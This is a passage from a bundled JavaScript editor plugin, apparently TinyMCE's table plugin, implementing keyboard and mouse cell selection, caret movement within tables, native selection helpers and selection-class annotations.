    const getEntireBox = (bridge, element) => {
      if (isElement(element)) {
        return getElemBox(bridge, element).map(toCaret);
      } else if (isText(element)) {
        return bridge.getRangedRect(element, 0, element, getEnd(element)).map(toCaret);
      } else {
        return Optional.none();
      }
    };

    const JUMP_SIZE = 5;
    const NUM_RETRIES = 100;
    const adt$1 = Adt.generate([
      { none: [] },
      { retry: ['caret'] }
    ]);
    const isOutside = (caret, box) => {
      return caret.left < box.left || Math.abs(box.right - caret.left) < 1 || caret.left > box.right;
    };
    const inOutsideBlock = (bridge, element, caret) => {
      return closest$2(element, isBlock).fold(never, cell => {
        return getEntireBox(bridge, cell).exists(box => {
          return isOutside(caret, box);
        });
      });
    };
    const adjustDown = (bridge, element, guessBox, original, caret) => {
      const lowerCaret = moveDown(caret, JUMP_SIZE);
      if (Math.abs(guessBox.bottom - original.bottom) < 1) {
        return adt$1.retry(lowerCaret);
      } else if (guessBox.top > caret.bottom) {
        return adt$1.retry(lowerCaret);
      } else if (guessBox.top === caret.bottom) {
        return adt$1.retry(moveDown(caret, 1));
      } else {
        return inOutsideBlock(bridge, element, caret) ? adt$1.retry(translate(lowerCaret, JUMP_SIZE, 0)) : adt$1.none();
      }
    };
    const adjustUp = (bridge, element, guessBox, original, caret) => {
      const higherCaret = moveUp(caret, JUMP_SIZE);
      if (Math.abs(guessBox.top - original.top) < 1) {
        return adt$1.retry(higherCaret);
      } else if (guessBox.bottom < caret.top) {
        return adt$1.retry(higherCaret);
      } else if (guessBox.bottom === caret.top) {
        return adt$1.retry(moveUp(caret, 1));
      } else {
        return inOutsideBlock(bridge, element, caret) ? adt$1.retry(translate(higherCaret, JUMP_SIZE, 0)) : adt$1.none();
      }
    };
    const upMovement = {
      point: getTop,
      adjuster: adjustUp,
      move: moveUp,
      gather: before
    };
    const downMovement = {
      point: getBottom,
      adjuster: adjustDown,
      move: moveDown,
      gather: after$1
    };
    const isAtTable = (bridge, x, y) => {
      return bridge.elementFromPoint(x, y).filter(elm => {
        return name(elm) === 'table';
      }).isSome();
    };
    const adjustForTable = (bridge, movement, original, caret, numRetries) => {
      return adjustTil(bridge, movement, original, movement.move(caret, JUMP_SIZE), numRetries);
    };
    const adjustTil = (bridge, movement, original, caret, numRetries) => {
      if (numRetries === 0) {
        return Optional.some(caret);
      }
      if (isAtTable(bridge, caret.left, movement.point(caret))) {
        return adjustForTable(bridge, movement, original, caret, numRetries - 1);
      }
      return bridge.situsFromPoint(caret.left, movement.point(caret)).bind(guess => {
        return guess.start.fold(Optional.none, element => {
          return getEntireBox(bridge, element).bind(guessBox => {
            return movement.adjuster(bridge, element, guessBox, original, caret).fold(Optional.none, newCaret => {
              return adjustTil(bridge, movement, original, newCaret, numRetries - 1);
            });
          }).orThunk(() => {
            return Optional.some(caret);
          });
        }, Optional.none);
      });
    };
    const checkScroll = (movement, adjusted, bridge) => {
      if (movement.point(adjusted) > bridge.getInnerHeight()) {
        return Optional.some(movement.point(adjusted) - bridge.getInnerHeight());
      } else if (movement.point(adjusted) < 0) {
        return Optional.some(-movement.point(adjusted));
      } else {
        return Optional.none();
      }
    };
    const retry = (movement, bridge, caret) => {
      const moved = movement.move(caret, JUMP_SIZE);
      const adjusted = adjustTil(bridge, movement, caret, moved, NUM_RETRIES).getOr(moved);
      return checkScroll(movement, adjusted, bridge).fold(() => {
        return bridge.situsFromPoint(adjusted.left, movement.point(adjusted));
      }, delta => {
        bridge.scrollBy(0, delta);
        return bridge.situsFromPoint(adjusted.left, movement.point(adjusted) - delta);
      });
    };
    const Retries = {
      tryUp: curry(retry, upMovement),
      tryDown: curry(retry, downMovement),
      getJumpSize: constant(JUMP_SIZE)
    };

    const MAX_RETRIES = 20;
    const findSpot = (bridge, isRoot, direction) => {
      return bridge.getSelection().bind(sel => {
        return tryBr(isRoot, sel.finish, sel.foffset, direction).fold(() => {
          return Optional.some(point(sel.finish, sel.foffset));
        }, brNeighbour => {
          const range = bridge.fromSitus(brNeighbour);
          const analysis = BeforeAfter.verify(bridge, sel.finish, sel.foffset, range.finish, range.foffset, direction.failure, isRoot);
          return process(analysis);
        });
      });
    };
    const scan = (bridge, isRoot, element, offset, direction, numRetries) => {
      if (numRetries === 0) {
        return Optional.none();
      }
      return tryCursor(bridge, isRoot, element, offset, direction).bind(situs => {
        const range = bridge.fromSitus(situs);
        const analysis = BeforeAfter.verify(bridge, element, offset, range.finish, range.foffset, direction.failure, isRoot);
        return BeforeAfter.cata(analysis, () => {
          return Optional.none();
        }, () => {
          return Optional.some(situs);
        }, cell => {
          if (eq$1(element, cell) && offset === 0) {
            return tryAgain(bridge, element, offset, moveUp, direction);
          } else {
            return scan(bridge, isRoot, cell, 0, direction, numRetries - 1);
          }
        }, cell => {
          if (eq$1(element, cell) && offset === getEnd(cell)) {
            return tryAgain(bridge, element, offset, moveDown, direction);
          } else {
            return scan(bridge, isRoot, cell, getEnd(cell), direction, numRetries - 1);
          }
        });
      });
    };
    const tryAgain = (bridge, element, offset, move, direction) => {
      return getBoxAt(bridge, element, offset).bind(box => {
        return tryAt(bridge, direction, move(box, Retries.getJumpSize()));
      });
    };
    const tryAt = (bridge, direction, box) => {
      const browser = detect$2().browser;
      if (browser.isChromium() || browser.isSafari() || browser.isFirefox()) {
        return direction.retry(bridge, box);
      } else {
        return Optional.none();
      }
    };
    const tryCursor = (bridge, isRoot, element, offset, direction) => {
      return getBoxAt(bridge, element, offset).bind(box => {
        return tryAt(bridge, direction, box);
      });
    };
    const handle$1 = (bridge, isRoot, direction) => {
      return findSpot(bridge, isRoot, direction).bind(spot => {
        return scan(bridge, isRoot, spot.element, spot.offset, direction, MAX_RETRIES).map(bridge.fromSitus);
      });
    };

    const inSameTable = (elem, table) => {
      return ancestor(elem, e => {
        return parent(e).exists(p => {
          return eq$1(p, table);
        });
      });
    };
    const simulate = (bridge, isRoot, direction, initial, anchor) => {
      return closest$1(initial, 'td,th', isRoot).bind(start => {
        return closest$1(start, 'table', isRoot).bind(table => {
          if (!inSameTable(anchor, table)) {
            return Optional.none();
          }
          return handle$1(bridge, isRoot, direction).bind(range => {
            return closest$1(range.finish, 'td,th', isRoot).map(finish => {
              return {
                start,
                finish,
                range
              };
            });
          });
        });
      });
    };
    const navigate = (bridge, isRoot, direction, initial, anchor, precheck) => {
      return precheck(initial, isRoot).orThunk(() => {
        return simulate(bridge, isRoot, direction, initial, anchor).map(info => {
          const range = info.range;
          return Response.create(Optional.some(makeSitus(range.start, range.soffset, range.finish, range.foffset)), true);
        });
      });
    };
    const firstUpCheck = (initial, isRoot) => {
      return closest$1(initial, 'tr', isRoot).bind(startRow => {
        return closest$1(startRow, 'table', isRoot).bind(table => {
          const rows = descendants(table, 'tr');
          if (eq$1(startRow, rows[0])) {
            return seekLeft(table, element => {
              return last$1(element).isSome();
            }, isRoot).map(last => {
              const lastOffset = getEnd(last);
              return Response.create(Optional.some(makeSitus(last, lastOffset, last, lastOffset)), true);
            });
          } else {
            return Optional.none();
          }
        });
      });
    };
    const lastDownCheck = (initial, isRoot) => {
      return closest$1(initial, 'tr', isRoot).bind(startRow => {
        return closest$1(startRow, 'table', isRoot).bind(table => {
          const rows = descendants(table, 'tr');
          if (eq$1(startRow, rows[rows.length - 1])) {
            return seekRight(table, element => {
              return first(element).isSome();
            }, isRoot).map(first => {
              return Response.create(Optional.some(makeSitus(first, 0, first, 0)), true);
            });
          } else {
            return Optional.none();
          }
        });
      });
    };
    const select = (bridge, container, isRoot, direction, initial, anchor, selectRange) => {
      return simulate(bridge, isRoot, direction, initial, anchor).bind(info => {
        return detect(container, isRoot, info.start, info.finish, selectRange);
      });
    };

    const Cell = initial => {
      let value = initial;
      const get = () => {
        return value;
      };
      const set = v => {
        value = v;
      };
      return {
        get,
        set
      };
    };

    const singleton = doRevoke => {
      const subject = Cell(Optional.none());
      const revoke = () => subject.get().each(doRevoke);
      const clear = () => {
        revoke();
        subject.set(Optional.none());
      };
      const isSet = () => subject.get().isSome();
      const get = () => subject.get();
      const set = s => {
        revoke();
        subject.set(Optional.some(s));
      };
      return {
        clear,
        isSet,
        get,
        set
      };
    };
    const value = () => {
      const subject = singleton(noop);
      const on = f => subject.get().each(f);
      return {
        ...subject,
        on
      };
    };

    const findCell = (target, isRoot) => closest$1(target, 'td,th', isRoot);
    const MouseSelection = (bridge, container, isRoot, annotations) => {
      const cursor = value();
      const clearstate = cursor.clear;
      const applySelection = event => {
        cursor.on(start => {
          annotations.clearBeforeUpdate(container);
          findCell(event.target, isRoot).each(finish => {
            identify(start, finish, isRoot).each(cellSel => {
              const boxes = cellSel.boxes.getOr([]);
              if (boxes.length === 1) {
                const singleCell = boxes[0];
                const isNonEditableCell = getRaw(singleCell) === 'false';
                const isCellClosestContentEditable = is(closest(event.target), singleCell, eq$1);
                if (isNonEditableCell && isCellClosestContentEditable) {
                  annotations.selectRange(container, boxes, singleCell, singleCell);
                  bridge.selectContents(singleCell);
                }
              } else if (boxes.length > 1) {
                annotations.selectRange(container, boxes, cellSel.start, cellSel.finish);
                bridge.selectContents(finish);
              }
            });
          });
        });
      };
      const mousedown = event => {
        annotations.clear(container);
        findCell(event.target, isRoot).each(cursor.set);
      };
      const mouseover = event => {
        applySelection(event);
      };
      const mouseup = event => {
        applySelection(event);
        clearstate();
      };
      return {
        clearstate,
        mousedown,
        mouseover,
        mouseup
      };
    };

    const down = {
      traverse: nextSibling,
      gather: after$1,
      relative: Situ.before,
      retry: Retries.tryDown,
      failure: BeforeAfter.failedDown
    };
    const up = {
      traverse: prevSibling,
      gather: before,
      relative: Situ.before,
      retry: Retries.tryUp,
      failure: BeforeAfter.failedUp
    };

    const isKey = key => {
      return keycode => {
        return keycode === key;
      };
    };
    const isUp = isKey(38);
    const isDown = isKey(40);
    const isNavigation = keycode => {
      return keycode >= 37 && keycode <= 40;
    };
    const ltr = {
      isBackward: isKey(37),
      isForward: isKey(39)
    };
    const rtl = {
      isBackward: isKey(39),
      isForward: isKey(37)
    };

    const get$3 = _DOC => {
      const doc = _DOC !== undefined ? _DOC.dom : document;
      const x = doc.body.scrollLeft || doc.documentElement.scrollLeft;
      const y = doc.body.scrollTop || doc.documentElement.scrollTop;
      return SugarPosition(x, y);
    };
    const by = (x, y, _DOC) => {
      const doc = _DOC !== undefined ? _DOC.dom : document;
      const win = doc.defaultView;
      if (win) {
        win.scrollBy(x, y);
      }
    };

    const adt = Adt.generate([
      { domRange: ['rng'] },
      {
        relative: [
          'startSitu',
          'finishSitu'
        ]
      },
      {
        exact: [
          'start',
          'soffset',
          'finish',
          'foffset'
        ]
      }
    ]);
    const exactFromRange = simRange => adt.exact(simRange.start, simRange.soffset, simRange.finish, simRange.foffset);
    const getStart = selection => selection.match({
      domRange: rng => SugarElement.fromDom(rng.startContainer),
      relative: (startSitu, _finishSitu) => Situ.getStart(startSitu),
      exact: (start, _soffset, _finish, _foffset) => start
    });
    const domRange = adt.domRange;
    const relative = adt.relative;
    const exact = adt.exact;
    const getWin = selection => {
      const start = getStart(selection);
      return defaultView(start);
    };
    const range = SimRange.create;
    const SimSelection = {
      domRange,
      relative,
      exact,
      exactFromRange,
      getWin,
      range
    };

    const caretPositionFromPoint = (doc, x, y) => {
      var _a, _b;
      return Optional.from((_b = (_a = doc.dom).caretPositionFromPoint) === null || _b === void 0 ? void 0 : _b.call(_a, x, y)).bind(pos => {
        if (pos.offsetNode === null) {
          return Optional.none();
        }
        const r = doc.dom.createRange();
        r.setStart(pos.offsetNode, pos.offset);
        r.collapse();
        return Optional.some(r);
      });
    };
    const caretRangeFromPoint = (doc, x, y) => {
      var _a, _b;
      return Optional.from((_b = (_a = doc.dom).caretRangeFromPoint) === null || _b === void 0 ? void 0 : _b.call(_a, x, y));
    };
    const availableSearch = (() => {
      if (document.caretPositionFromPoint) {
        return caretPositionFromPoint;
      } else if (document.caretRangeFromPoint) {
        return caretRangeFromPoint;
      } else {
        return Optional.none;
      }
    })();
    const fromPoint = (win, x, y) => {
      const doc = SugarElement.fromDom(win.document);
      return availableSearch(doc, x, y).map(rng => SimRange.create(SugarElement.fromDom(rng.startContainer), rng.startOffset, SugarElement.fromDom(rng.endContainer), rng.endOffset));
    };

    const beforeSpecial = (element, offset) => {
      const name$1 = name(element);
      if ('input' === name$1) {
        return Situ.after(element);
      } else if (!contains$2([
          'br',
          'img'
        ], name$1)) {
        return Situ.on(element, offset);
      } else {
        return offset === 0 ? Situ.before(element) : Situ.after(element);
      }
    };
    const preprocessRelative = (startSitu, finishSitu) => {
      const start = startSitu.fold(Situ.before, beforeSpecial, Situ.after);
      const finish = finishSitu.fold(Situ.before, beforeSpecial, Situ.after);
      return SimSelection.relative(start, finish);
    };
    const preprocessExact = (start, soffset, finish, foffset) => {
      const startSitu = beforeSpecial(start, soffset);
      const finishSitu = beforeSpecial(finish, foffset);
      return SimSelection.relative(startSitu, finishSitu);
    };

    const makeRange = (start, soffset, finish, foffset) => {
      const doc = owner(start);
      const rng = doc.dom.createRange();
      rng.setStart(start.dom, soffset);
      rng.setEnd(finish.dom, foffset);
      return rng;
    };
    const after = (start, soffset, finish, foffset) => {
      const r = makeRange(start, soffset, finish, foffset);
      const same = eq$1(start, finish) && soffset === foffset;
      return r.collapsed && !same;
    };

    const getNativeSelection = win => Optional.from(win.getSelection());
    const doSetNativeRange = (win, rng) => {
      getNativeSelection(win).each(selection => {
        selection.removeAllRanges();
        selection.addRange(rng);
      });
    };
    const doSetRange = (win, start, soffset, finish, foffset) => {
      const rng = exactToNative(win, start, soffset, finish, foffset);
      doSetNativeRange(win, rng);
    };
    const setLegacyRtlRange = (win, selection, start, soffset, finish, foffset) => {
      selection.collapse(start.dom, soffset);
      selection.extend(finish.dom, foffset);
    };
    const setRangeFromRelative = (win, relative) => diagnose(win, relative).match({
      ltr: (start, soffset, finish, foffset) => {
        doSetRange(win, start, soffset, finish, foffset);
      },
      rtl: (start, soffset, finish, foffset) => {
        getNativeSelection(win).each(selection => {
          if (selection.setBaseAndExtent) {
            selection.setBaseAndExtent(start.dom, soffset, finish.dom, foffset);
          } else if (selection.extend) {
            try {
              setLegacyRtlRange(win, selection, start, soffset, finish, foffset);
            } catch (e) {
              doSetRange(win, finish, foffset, start, soffset);
            }
          } else {
            doSetRange(win, finish, foffset, start, soffset);
          }
        });
      }
    });
    const setExact = (win, start, soffset, finish, foffset) => {
      const relative = preprocessExact(start, soffset, finish, foffset);
      setRangeFromRelative(win, relative);
    };
    const setRelative = (win, startSitu, finishSitu) => {
      const relative = preprocessRelative(startSitu, finishSitu);
      setRangeFromRelative(win, relative);
    };
    const readRange = selection => {
      if (selection.rangeCount > 0) {
        const firstRng = selection.getRangeAt(0);
        const lastRng = selection.getRangeAt(selection.rangeCount - 1);
        return Optional.some(SimRange.create(SugarElement.fromDom(firstRng.startContainer), firstRng.startOffset, SugarElement.fromDom(lastRng.endContainer), lastRng.endOffset));
      } else {
        return Optional.none();
      }
    };
    const doGetExact = selection => {
      if (selection.anchorNode === null || selection.focusNode === null) {
        return readRange(selection);
      } else {
        const anchor = SugarElement.fromDom(selection.anchorNode);
        const focus = SugarElement.fromDom(selection.focusNode);
        return after(anchor, selection.anchorOffset, focus, selection.focusOffset) ? Optional.some(SimRange.create(anchor, selection.anchorOffset, focus, selection.focusOffset)) : readRange(selection);
      }
    };
    const setToElement = (win, element, selectNodeContents$1 = true) => {
      const rngGetter = selectNodeContents$1 ? selectNodeContents : selectNode;
      const rng = rngGetter(win, element);
      doSetNativeRange(win, rng);
    };
    const getExact = win => getNativeSelection(win).filter(sel => sel.rangeCount > 0).bind(doGetExact);
    const get$2 = win => getExact(win).map(range => SimSelection.exact(range.start, range.soffset, range.finish, range.foffset));
    const getFirstRect = (win, selection) => {
      const rng = asLtrRange(win, selection);
      return getFirstRect$1(rng);
    };
    const getAtPoint = (win, x, y) => fromPoint(win, x, y);
    const clear = win => {
      getNativeSelection(win).each(selection => selection.removeAllRanges());
    };

    const WindowBridge = win => {
      const elementFromPoint = (x, y) => {
        return SugarElement.fromPoint(SugarElement.fromDom(win.document), x, y);
      };
      const getRect = element => {
        return element.dom.getBoundingClientRect();
      };
      const getRangedRect = (start, soffset, finish, foffset) => {
        const sel = SimSelection.exact(start, soffset, finish, foffset);
        return getFirstRect(win, sel);
      };
      const getSelection = () => {
        return get$2(win).map(exactAdt => {
          return convertToRange(win, exactAdt);
        });
      };
      const fromSitus = situs => {
        const relative = SimSelection.relative(situs.start, situs.finish);
        return convertToRange(win, relative);
      };
      const situsFromPoint = (x, y) => {
        return getAtPoint(win, x, y).map(exact => {
          return Situs.create(exact.start, exact.soffset, exact.finish, exact.foffset);
        });
      };
      const clearSelection = () => {
        clear(win);
      };
      const collapseSelection = (toStart = false) => {
        get$2(win).each(sel => sel.fold(rng => rng.collapse(toStart), (startSitu, finishSitu) => {
          const situ = toStart ? startSitu : finishSitu;
          setRelative(win, situ, situ);
        }, (start, soffset, finish, foffset) => {
          const node = toStart ? start : finish;
          const offset = toStart ? soffset : foffset;
          setExact(win, node, offset, node, offset);
        }));
      };
      const selectNode = element => {
        setToElement(win, element, false);
      };
      const selectContents = element => {
        setToElement(win, element);
      };
      const setSelection = sel => {
        setExact(win, sel.start, sel.soffset, sel.finish, sel.foffset);
      };
      const setRelativeSelection = (start, finish) => {
        setRelative(win, start, finish);
      };
      const getInnerHeight = () => {
        return win.innerHeight;
      };
      const getScrollY = () => {
        const pos = get$3(SugarElement.fromDom(win.document));
        return pos.top;
      };
      const scrollBy = (x, y) => {
        by(x, y, SugarElement.fromDom(win.document));
      };
      return {
        elementFromPoint,
        getRect,
        getRangedRect,
        getSelection,
        fromSitus,
        situsFromPoint,
        clearSelection,
        collapseSelection,
        setSelection,
        setRelativeSelection,
        selectNode,
        selectContents,
        getInnerHeight,
        getScrollY,
        scrollBy
      };
    };

    const rc = (rows, cols) => ({
      rows,
      cols
    });
    const mouse = (win, container, isRoot, annotations) => {
      const bridge = WindowBridge(win);
      const handlers = MouseSelection(bridge, container, isRoot, annotations);
      return {
        clearstate: handlers.clearstate,
        mousedown: handlers.mousedown,
        mouseover: handlers.mouseover,
        mouseup: handlers.mouseup
      };
    };
    const keyboard = (win, container, isRoot, annotations) => {
      const bridge = WindowBridge(win);
      const clearToNavigate = () => {
        annotations.clear(container);
        return Optional.none();
      };
      const keydown = (event, start, soffset, finish, foffset, direction) => {
        const realEvent = event.raw;
        const keycode = realEvent.which;
        const shiftKey = realEvent.shiftKey === true;
        const handler = retrieve$1(container, annotations.selectedSelector).fold(() => {
          if (isNavigation(keycode) && !shiftKey) {
            annotations.clearBeforeUpdate(container);
          }
          if (isDown(keycode) && shiftKey) {
            return curry(select, bridge, container, isRoot, down, finish, start, annotations.selectRange);
          } else if (isUp(keycode) && shiftKey) {
            return curry(select, bridge, container, isRoot, up, finish, start, annotations.selectRange);
          } else if (isDown(keycode)) {
            return curry(navigate, bridge, isRoot, down, finish, start, lastDownCheck);
          } else if (isUp(keycode)) {
            return curry(navigate, bridge, isRoot, up, finish, start, firstUpCheck);
          } else {
            return Optional.none;
          }
        }, selected => {
          const update$1 = attempts => {
            return () => {
              const navigation = findMap(attempts, delta => {
                return update(delta.rows, delta.cols, container, selected, annotations);
              });
              return navigation.fold(() => {
                return getEdges(container, annotations.firstSelectedSelector, annotations.lastSelectedSelector).map(edges => {
                  const relative = isDown(keycode) || direction.isForward(keycode) ? Situ.after : Situ.before;
                  bridge.setRelativeSelection(Situ.on(edges.first, 0), relative(edges.table));
                  annotations.clear(container);
                  return Response.create(Optional.none(), true);
                });
              }, _ => {
                return Optional.some(Response.create(Optional.none(), true));
              });
            };
          };
          if (isDown(keycode) && shiftKey) {
            return update$1([rc(+1, 0)]);
          } else if (isUp(keycode) && shiftKey) {
            return update$1([rc(-1, 0)]);
          } else if (direction.isBackward(keycode) && shiftKey) {
            return update$1([
              rc(0, -1),
              rc(-1, 0)
            ]);
          } else if (direction.isForward(keycode) && shiftKey) {
            return update$1([
              rc(0, +1),
              rc(+1, 0)
            ]);
          } else if (isNavigation(keycode) && !shiftKey) {
            return clearToNavigate;
          } else {
            return Optional.none;
          }
        });
        return handler();
      };
      const keyup = (event, start, soffset, finish, foffset) => {
        return retrieve$1(container, annotations.selectedSelector).fold(() => {
          const realEvent = event.raw;
          const keycode = realEvent.which;
          const shiftKey = realEvent.shiftKey === true;
          if (!shiftKey) {
            return Optional.none();
          }
          if (isNavigation(keycode)) {
            return sync(container, isRoot, start, soffset, finish, foffset, annotations.selectRange);
          } else {
            return Optional.none();
          }
        }, Optional.none);
      };
      return {
        keydown,
        keyup
      };
    };
    const external = (win, container, isRoot, annotations) => {
      const bridge = WindowBridge(win);
      return (start, finish) => {
        annotations.clearBeforeUpdate(container);
        identify(start, finish, isRoot).each(cellSel => {
          const boxes = cellSel.boxes.getOr([]);
          annotations.selectRange(container, boxes, cellSel.start, cellSel.finish);
          bridge.selectContents(finish);
          bridge.collapseSelection();
        });
      };
    };

    const read = (element, attr) => {
      const value = get$b(element, attr);
      return value === undefined || value === '' ? [] : value.split(' ');
    };
    const add$2 = (element, attr, id) => {
      const old = read(element, attr);
      const nu = old.concat([id]);
      set$2(element, attr, nu.join(' '));
      return true;
    };
    const remove$4 = (element, attr, id) => {
      const nu = filter$2(read(element, attr), v => v !== id);
      if (nu.length > 0) {
        set$2(element, attr, nu.join(' '));
      } else {
        remove$7(element, attr);
      }
      return false;
    };

    const supports = element => element.dom.classList !== undefined;
    const get$1 = element => read(element, 'class');
    const add$1 = (element, clazz) => add$2(element, 'class', clazz);
    const remove$3 = (element, clazz) => remove$4(element, 'class', clazz);

    const add = (element, clazz) => {
      if (supports(element)) {
        element.dom.classList.add(clazz);
      } else {
        add$1(element, clazz);
      }
    };
    const cleanClass = element => {
      const classList = supports(element) ? element.dom.classList : get$1(element);
      if (classList.length === 0) {
        remove$7(element, 'class');
      }
    };
    const remove$2 = (element, clazz) => {
      if (supports(element)) {
        const classList = element.dom.classList;
        classList.remove(clazz);
      } else {
        remove$3(element, clazz);
      }
      cleanClass(element);
    };
    const has = (element, clazz) => supports(element) && element.dom.classList.contains(clazz);

    const remove$1 = (element, classes) => {
      each$2(classes, x => {
        remove$2(element, x);
      });
    };

    const addClass = clazz => element => {
      add(element, clazz);
    };
    const removeClasses = classes => element => {
      remove$1(element, classes);
    };

    const byClass = ephemera => {
      const addSelectionClass = addClass(ephemera.selected);
      const removeSelectionClasses = removeClasses([
        ephemera.selected,
        ephemera.lastSelected,
        ephemera.firstSelected
      ]);
      const clear = container => {
        const sels = descendants(container, ephemera.selectedSelector);
        each$2(sels, removeSelectionClasses);
      };
      const selectRange = (container, cells, start, finish) => {
        clear(container);
        each$2(cells, addSelectionClass);
        add(start, ephemera.firstSelected);
        add(finish, ephemera.lastSelected);
      };
      return {
        clearBeforeUpdate: clear,
        clear,
        selectRange,
        selectedSelector: ephemera.selectedSelector,
        firstSelectedSelector: ephemera.firstSelectedSelector,
        lastSelectedSelector: ephemera.lastSelectedSelector
      };
    };
    const byAttr = (ephemera, onSelection, onClear) => {
      const removeSelectionAttributes = element => {
        remove$7(element, ephemera.selected);
        remove$7(element, ephemera.firstSelected);
        remove$7(element, ephemera.lastSelected);
      };
      const addSelectionAttribute = element => {
        set$2(element, ephemera.selected, '1');
      };
      const clear = container => {
        clearBeforeUpdate(container);
        onClear();
      };
      const clearBeforeUpdate = container => {
        const sels = descendants(container, `${ ephemera.selectedSelector },${ ephemera.firstSelectedSelector },${ ephemera.lastSelectedSelector }`);
        each$2(sels, removeSelectionAttributes);
      };
      const selectRange = (container, cells, start, finish) => {
        clear(container);
        each$2(cells, addSelectionAttribute);
        set$2(start, ephemera.firstSelected, '1');
        set$2(finish, ephemera.lastSelected, '1');
        onSelection(cells, start, finish);
      };
      return {
        clearBeforeUpdate,
        clear,
        selectRange,
        selectedSelector: ephemera.selectedSelector,
        firstSelectedSelector: ephemera.firstSelectedSelector,
        lastSelectedSelector: ephemera.lastSelectedSelector
      };
    };
    const SelectionAnnotation = {
      byClass,
      byAttr
    };

    const fold = (subject, onNone, onMultiple, onSingle) => {
      switch (subject.tag) {
      case 'none':
        return onNone();
      case 'single':
        return onSingle(subject.element);
      case 'multiple':
        return onMultiple(subject.elements);
      }
    };
    const none = () => ({ tag: 'none' });
    const multiple = elements => ({
      tag: 'multiple',
      elements
    });
    const single = element => ({
      tag: 'single',
      element
    });

    const Selections = (lazyRoot, getStart, selectedSelector) => {
      const get = () => retrieve(lazyRoot(), selectedSelector).fold(() => getStart().fold(none, single), multiple);
      return { get };
    };

    const getUpOrLeftCells = (grid, selectedCells) => {
      const upGrid = grid.slice(0, selectedCells[selectedCells.length - 1].row + 1);
      const upDetails = toDetailList(upGrid);
      return bind$2(upDetails, detail => {
        const slicedCells = detail.cells.slice(0, selectedCells[selectedCells.length - 1].column + 1);
        return map$1(slicedCells, cell => cell.element);
      });
    };
    const getDownOrRightCells = (grid, selectedCells) => {
      const downGrid = grid.slice(selectedCells[0].row + selectedCells[0].rowspan - 1, grid.length);
      const downDetails = toDetailList(downGrid);
      return bind$2(downDetails, detail => {
        const slicedCells = detail.cells.slice(selectedCells[0].column + selectedCells[0].colspan - 1, detail.cells.length);
        return map$1(slicedCells, cell => cell.element);
      });
    };
    const getOtherCells = (table, target, generators) => {
      const warehouse = Warehouse.fromTable(table);
      const details = onCells(warehouse, target);
      return details.map(selectedCells => {
        const grid = toGrid(warehouse, generators, false);
        const {rows} = extractGridDetails(grid);
        const upOrLeftCells = getUpOrLeftCells(rows, selectedCells);
        const downOrRightCells = getDownOrRightCells(rows, selectedCells);
        return {
          upOrLeftCells,
          downOrRightCells
        };
      });
    };

    const mkEvent = (target, x, y, stop, prevent, kill, raw) => ({
      target,
      x,
      y,
      stop,
      prevent,
      kill,
      raw
    });
    const fromRawEvent$1 = rawEvent => {
      const target = SugarElement.fromDom(getOriginalEventTarget(rawEvent).getOr(rawEvent.target));
      const stop = () => rawEvent.stopPropagation();
      const prevent = () => rawEvent.preventDefault();
      const kill = compose(prevent, stop);
      return mkEvent(target, rawEvent.clientX, rawEvent.clientY, stop, prevent, kill, rawEvent);
    };
    const handle = (filter, handler) => rawEvent => {
      if (filter(rawEvent)) {
        handler(fromRawEvent$1(rawEvent));
      }
    };
    const binder = (element, event, filter, handler, useCapture) => {
      const wrapped = handle(filter, handler);
      element.dom.addEventListener(event, wrapped, useCapture);
      return { unbind: curry(unbind, element, event, wrapped, useCapture) };
    };
    const bind$1 = (element, event, filter, handler) => binder(element, event, filter, handler, false);
    const unbind = (element, event, handler, useCapture) => {
      element.dom.removeEventListener(event, handler, useCapture);
    };

    const filter = always;
    const bind = (element, event, handler) => bind$1(element, event, filter, handler);
    const fromRawEvent = fromRawEvent$1;

    const hasInternalTarget = e => !has(SugarElement.fromDom(e.target), 'ephox-snooker-resizer-bar');
    const TableCellSelectionHandler = (editor, resizeHandler) => {
      const cellSelection = Selections(() => SugarElement.fromDom(editor.getBody()), () => getSelectionCell(getSelectionStart(editor), getIsRoot(editor)), ephemera.selectedSelector);
      const onSelection = (cells, start, finish) => {
        const tableOpt = table(start);
        tableOpt.each(table => {
          const cloneFormats = getTableCloneElements(editor);
          const generators = cellOperations(noop, SugarElement.fromDom(editor.getDoc()), cloneFormats);
          const selectedCells = getCellsFromSelection(editor);
          const otherCells = getOtherCells(table, { selection: selectedCells }, generators);
          fireTableSelectionChange(editor, cells, start, finish, otherCells);
        });
      };
      const onClear = () => fireTableSelectionClear(editor);
      const annotations = SelectionAnnotation.byAttr(ephemera, onSelection, onClear);
      editor.on('init', _e => {
        const win = editor.getWin();
        const body = getBody(editor);
        const isRoot = getIsRoot(editor);
        const syncSelection = () => {
          const sel = editor.selection;
          const start = SugarElement.fromDom(sel.getStart());
          const end = SugarElement.fromDom(sel.getEnd());
          const shared = sharedOne(table, [
            start,
            end
          ]);
          shared.fold(() => annotations.clear(body), noop);
        };
        const mouseHandlers = mouse(win, body, isRoot, annotations);
        const keyHandlers = keyboard(win, body, isRoot, annotations);
        const external$1 = external(win, body, isRoot, annotations);
        const hasShiftKey = event => event.raw.shiftKey === true;
        editor.on('TableSelectorChange', e => external$1(e.start, e.finish));
        const handleResponse = (event, response) => {
          if (!hasShiftKey(event)) {
            return;
          }
          if (response.kill) {
            event.kill();
          }
          response.selection.each(ns => {
            const relative = SimSelection.relative(ns.start, ns.finish);
            const rng = asLtrRange(win, relative);
            editor.selection.setRng(rng);
          });
        };
        const keyup = event => {
          const wrappedEvent = fromRawEvent(event);
          if (wrappedEvent.raw.shiftKey && isNavigation(wrappedEvent.raw.which)) {
            const rng = editor.selection.getRng();
            const start = SugarElement.fromDom(rng.startContainer);
            const end = SugarElement.fromDom(rng.endContainer);
            keyHandlers.keyup(wrappedEvent, start, rng.startOffset, end, rng.endOffset).each(response => {
              handleResponse(wrappedEvent, response);
            });
          }
        };
        const keydown = event => {
          const wrappedEvent = fromRawEvent(event);
          resizeHandler.hide();
          const rng = editor.selection.getRng();
          const start = SugarElement.fromDom(rng.startContainer);
          const end = SugarElement.fromDom(rng.endContainer);
          const direction = onDirection(ltr, rtl)(SugarElement.fromDom(editor.selection.getStart()));
          keyHandlers.keydown(wrappedEvent, start, rng.startOffset, end, rng.endOffset, direction).each(response => {
            handleResponse(wrappedEvent, response);
          });
          resizeHandler.show();
        };
        const isLeftMouse = raw => raw.button === 0;
        const isLeftButtonPressed = raw => {
          if (raw.buttons === undefined) {
            return true;
          }
          return (raw.buttons & 1) !== 0;
        };
        const dragStart = _e => {
          mouseHandlers.clearstate();
        };
        const mouseDown = e => {
          if (isLeftMouse(e) && hasInternalTarget(e)) {
            mouseHandlers.mousedown(fromRawEvent(e));
          }
        };
        const mouseOver = e => {
